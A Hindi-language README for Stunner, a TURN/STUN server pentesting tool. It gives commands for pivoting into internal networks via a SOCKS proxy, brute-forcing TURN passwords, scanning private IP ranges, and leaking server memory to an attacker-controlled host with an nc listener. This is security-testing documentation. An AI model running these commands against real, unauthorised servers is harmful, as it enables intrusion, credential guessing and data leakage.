
STUN/TURN सर्वरों की गलत कॉन्फ़िगरेशन के लिए परीक्षण और शोषण करें, जिससे SOCKS प्रॉक्सी के माध्यम से आंतरिक नेटवर्क पिवोटिंग, मेमोरी लीक हमले और आंतरिक पोर्ट स्कैनिंग संभव होती है।
Stunner एक उपकरण है जो STUN, TURN और TCP पर TURN सर्वरों का परीक्षण और शोषण करने के लिए है। TURN एक प्रोटोकॉल है जो मुख्यतः वीडियो कॉन्फ्रेंसिंग और ऑडियो चैट (WebRTC) में उपयोग होता है।
यदि आपको एक गलत कॉन्फ़िगर किया गया सर्वर मिलता है, तो आप इस उपकरण का उपयोग करके एक स्थानीय socks प्रॉक्सी खोल सकते हैं जो सभी ट्रैफ़िक को TURN प्रोटोकॉल के माध्यम से सर्वर के पीछे के आंतरिक नेटवर्क में रिले करता है।
मैंने इस उपकरण को Cisco Expressway के परीक्षण के दौरान विकसित किया था जिसके परिणामस्वरूप कुछ कमज़ोरियाँ सामने आईं: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
आवश्यक उपयोगकर्ता नाम और पासवर्ड प्राप्त करने के लिए आपको उन्हें एक आउट-ऑफ-बैंड विधि का उपयोग करके प्राप्त करना होगा, जैसे Burp के साथ वेब ब्राउज़र से Connect अनुरोध को सूंघना। मैंने रीडमी के निचले भाग में एक उदाहरण कार्यप्रवाह जोड़ा है कि आप ऐसे सर्वर का परीक्षण कैसे करेंगे।
यह कार्य Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License के तहत लाइसेंस प्राप्त है। इस लाइसेंस की एक प्रति देखने के लिए, http://creativecommons.org/licenses/by-nc-sa/4.0/ पर जाएँ या Creative Commons, PO Box 1866, Mountain View, CA 94042, USA को एक पत्र भेजें।
STUN: RFC 5389
TURN: RFC 5766
TURN for TCP: RFC 6062
TURN Extension for IPv6: RFC 6156
यह कमांड stun या turn सर्वर के बारे में कुछ जानकारी प्रिंट करेगा जैसे समर्थित प्रोटोकॉल और विशेषताएँ जैसे उपयोग किया गया सॉफ़्टवेयर।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
यह कमांड कई निजी और प्रतिबंधित श्रेणियों को आज़माता है यह देखने के लिए कि क्या TURN सर्वर निर्दिष्ट IP पतों पर कनेक्शन की अनुमति देने के लिए कॉन्फ़िगर किया गया है। यदि कोई विशिष्ट श्रेणी प्रतिबंधित नहीं है तो आप इस श्रेणी को अन्य प्रदान किए गए कमांड के साथ आगे गणना कर सकते हैं। यदि कोई IP पहुँच योग्य है तो इसका मतलब है कि TURN सर्वर इस IP पर ट्रैफ़िक अग्रेषित करेगा।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
TCP आधारित TURN कनेक्शन (आपसे TURN सर्वर तक कनेक्शन):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
UDP आधारित TURN कनेक्शन (आपसे TURN सर्वर तक कनेक्शन):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
यह उन TURN सर्वरों के लिए सबसे उपयोगी कमांड में से एक है जो बैकएंड सर्वरों के लिए TCP कनेक्शन का समर्थन करते हैं। यह बिना किसी प्रमाणीकरण के एक स्थानीय socks5 सर्वर लॉन्च करेगा और सभी TCP ट्रैफ़िक को TURN प्रोटोकॉल पर रिले करेगा (SOCKS पर UDP वर्तमान में समर्थित नहीं है)। यदि सर्वर गलत कॉन्फ़िगर किया गया है, तो यह ट्रैफ़िक को आंतरिक पतों पर अग्रेषित करेगा, जिससे इसका उपयोग आंतरिक सिस्टम तक पहुँचने और सर्वर को आंतरिक नेटवर्क में प्रॉक्सी के रूप में दुरुपयोग करने के लिए किया जा सकता है। यदि आप socks पर DNS लुकअप भी करना चाहते हैं, तो यह आपके स्थानीय नाम सर्वर का उपयोग करके हल किया जाएगा, इसलिए निजी IPv4 और IPv6 पतों के साथ काम करना सबसे अच्छा है। कृपया ध्यान दें कि यह मॉड्यूल केवल TCP ट्रैफ़िक को रिले कर सकता है।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
प्रॉक्सी प्रारंभ करने के बाद अपना ब्राउज़र खोलें, सेटिंग्स में प्रॉक्सी को socks5 पर ip 127.0.0.1:1080 के साथ इंगित करें (सुनिश्चित करें कि आप स्थानीय पते को बायपास करने का विकल्प सेट न करें क्योंकि हम रिमोट स्थानीय पतों तक पहुँचना चाहते हैं) और ब्राउज़र में अपनी पसंद का IP कॉल करें।
उदाहरण: https://127.0.0.1, https://127.0.0.1:8443 or https://[::1]:8443 (ये परीक्षण किए जा रहे TURN सर्वर पर स्थानीय इंटरफ़ेस से पोर्ट कॉल करेंगे)।
आप इस प्रॉक्सी का उपयोग करने के लिए proxychains को भी कॉन्फ़िगर कर सकते हैं (लेकिन यह बहुत धीमा होगा क्योंकि प्रत्येक अनुरोध के परिणामस्वरूप प्रॉक्सी को सक्षम करने के लिए कई अनुरोध होते हैं)। बस /etc/proxychains.conf को संपादित करें और ProxyList के अंतर्गत मान socks5 127.0.0.1 1080 दर्ज करें।
सही ढंग से कॉन्फ़िगर की गई proxychains के साथ इस socks5 प्रॉक्सी पर nmap का उदाहरण (ध्यान दें कि यह -sT है TCP syns करने के लिए अन्यथा यह socks5 प्रॉक्सी का उपयोग नहीं करेगा)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
यह संभवतः कोई उपयोगी जानकारी नहीं देगा लेकिन सर्वर द्वारा समर्थित सभी उपलब्ध ट्रांसपोर्ट (= आंतरिक सिस्टम के लिए प्रोटोकॉल) की गणना करने में उपयोगी हो सकता है। यह कुछ कस्टम प्रोटोकॉल कार्यान्वयन दिखा सकता है लेकिन अधिकतर केवल डिफ़ॉल्ट लौटाएगा।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
यह कमांड एक उपयोगकर्ता नाम के लिए दी गई फ़ाइल से सभी पासवर्ड TURN प्रोटोकॉल (UDP) के माध्यम से आज़माता है। यह एक pcap का विश्लेषण करते समय उपयोगी हो सकता है जहाँ आप उपयोगकर्ता नाम देख सकते हैं लेकिन पासवर्ड नहीं। कृपया ध्यान दें कि इस मामले में ऑफ़लाइन ब्रूटफोर्स बहुत तेज़ है।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
यह हमला निम्नलिखित तरीके से काम करता है:
सर्वर target (अधिकांश मामलों में एक उच्च पोर्ट > 1024 होना चाहिए) पर भेजने के लिए डेटा को TLV (Type Length Value) के रूप में लेता है। यह शोषण एक बड़ी लंबाई के साथ एक छोटे मान का उपयोग करता है। यदि सर्वर TLV की सीमाओं की जाँच नहीं करता है, तो यह आपको length तक कुछ मेमोरी target पर भेज सकता है। Cisco Expressway इसके लिए कमजोर पुष्टि की गई थी लेकिन cisco के अनुसार यह केवल वर्तमान सत्र की मेमोरी लीक करता है।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
डेटा प्राप्त करने के लिए हमें एक सार्वजनिक IP वाले सर्वर पर एक रिसीवर सेट करना होगा। आमतौर पर फ़ायरवॉल केवल TURN सर्वरों से उच्चपोर्ट (>1024) की अनुमति देने के लिए कॉन्फ़िगर किए जाते हैं, इसलिए इंटरनेट से कनेक्ट करते समय इस उदाहरण में 8080 जैसे उच्च पोर्ट का उपयोग करना सुनिश्चित करें।
sudo nc -u -l -n -v -p 8080 | hexdump -C
फिर अपनी मशीन पर निम्नलिखित स्टेटमेंट निष्पादित करें, t पैरामीटर में सार्वजनिक ip जोड़ें
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
यदि यह काम करता है तो आपको बड़ी मात्रा में मेमोरी आती दिखनी चाहिए, अन्यथा आपको केवल छोटे संदेश दिखाई देंगे।
यदि कोई TURN सर्वर आंतरिक लक्ष्यों के लिए UDP कनेक्शन की अनुमति देता है, तो इस स्कैनर का उपयोग सभी निजी IP श्रेणियों को स्कैन करने और उन्हें SNMP और DNS अनुरोध भेजने के लिए किया जा सकता है। चूँकि यह बहुत सारे IP की जाँच करता है, इसे पूरा होने में कई दिन लग सकते हैं, इसलिए सावधानी से उपयोग करें या पैरामीटर के माध्यम से छोटे लक्ष्य निर्दिष्ट करें। आपको एक SNMP समुदाय स्ट्रिंग प्रदान करनी होगी जिसे आज़माया जाएगा और एक डोमेन नाम जो प्रत्येक IP पर हल किया जाएगा। डोमेन नाम के लिए आप उदाहरण के लिए burp collaborator का उपयोग कर सकते हैं।
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
udp-scanner जैसा ही लेकिन निर्दिष्ट पोर्ट पर HTTP अनुरोध भेजता है (HTTPS समर्थित नहीं है)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
मान लीजिए आपको WebRTC का उपयोग करने वाली कोई सेवा मिलती है और आप इसका परीक्षण करना चाहते हैं।
पहला कदम आवश्यक डेटा प्राप्त करना है। मैं पृष्ठभूमि में Wireshark लॉन्च करने का सुझाव देता हूँ और Burp के माध्यम से एक मीटिंग में शामिल होकर सभी HTTP और Websocket ट्रैफ़िक एकत्र करें। इसके बाद Burp इतिहास में TURN से संबंधित कुछ कीवर्ड जैसे 3478, password, credential और username खोजें (इन कीवर्ड के लिए websocket टैब भी जाँचना सुनिश्चित करें)। इससे टर्न सर्वर और प्रोटोकॉल (UDP और TCP एंडपॉइंट के अलग-अलग पोर्ट हो सकते हैं) और कनेक्शन के लिए उपयोग किए जाने वाले क्रेडेंशियल का पता चल सकता है। यदि आप Burp में डेटा नहीं ढूँढ पाते हैं तो ट्रैफ़िक की पहचान करने के लिए Wireshark को देखना शुरू करें। यदि यह एक गैर-मानक पोर्ट (3478 के अलावा कुछ भी) पर है, तो Wireshark में राइट क्लिक करके प्रोटोकॉल को STUN के रूप में डीकोड करें। इससे कनेक्शन के लिए उपयोग किया जाने वाला उपयोगकर्ता नाम दिखना चाहिए, और आप इस जानकारी का उपयोग आवश्यक डेटा की खोज के लिए Burp के इतिहास को और अधिक खोजने के लिए कर सकते हैं। कृपया ध्यान दें कि Wireshark आपको पासवर्ड नहीं दिखा सकता क्योंकि पासवर्ड का उपयोग कुछ पैकेज सामग्री को हैश करने के लिए किया जाता है, इसलिए इसे उलटा नहीं किया जा सकता।
अगला कदम Burp से प्राप्त सही पोर्ट और प्रोटोकॉल का उपयोग करके टर्न सर्वर पर info कमांड जारी करना होगा।
यदि यह काम करता है, तो अगला कदम range-scan है। यदि यह आंतरिक सिस्टम को किसी भी ट्रैफ़िक की अनुमति देता है, तो आप इसका और शोषण कर सकते हैं, लेकिन ध्यान रखें कि UDP के केवल सीमित उपयोग के मामले हैं।
यदि आंतरिक सिस्टम के लिए TCP कनेक्शन की अनुमति है, तो बस socks कमांड लॉन्च करें और ब्राउज़र के माध्यम से अनुमत IP तक पहुँचें और socks प्रॉक्सी को 127.0.0.1:1080 पर सेट करें। आप 127.0.0.1:443 और अन्य IP आज़मा सकते हैं ताकि प्रबंधन इंटरफ़ेस खोज सकें।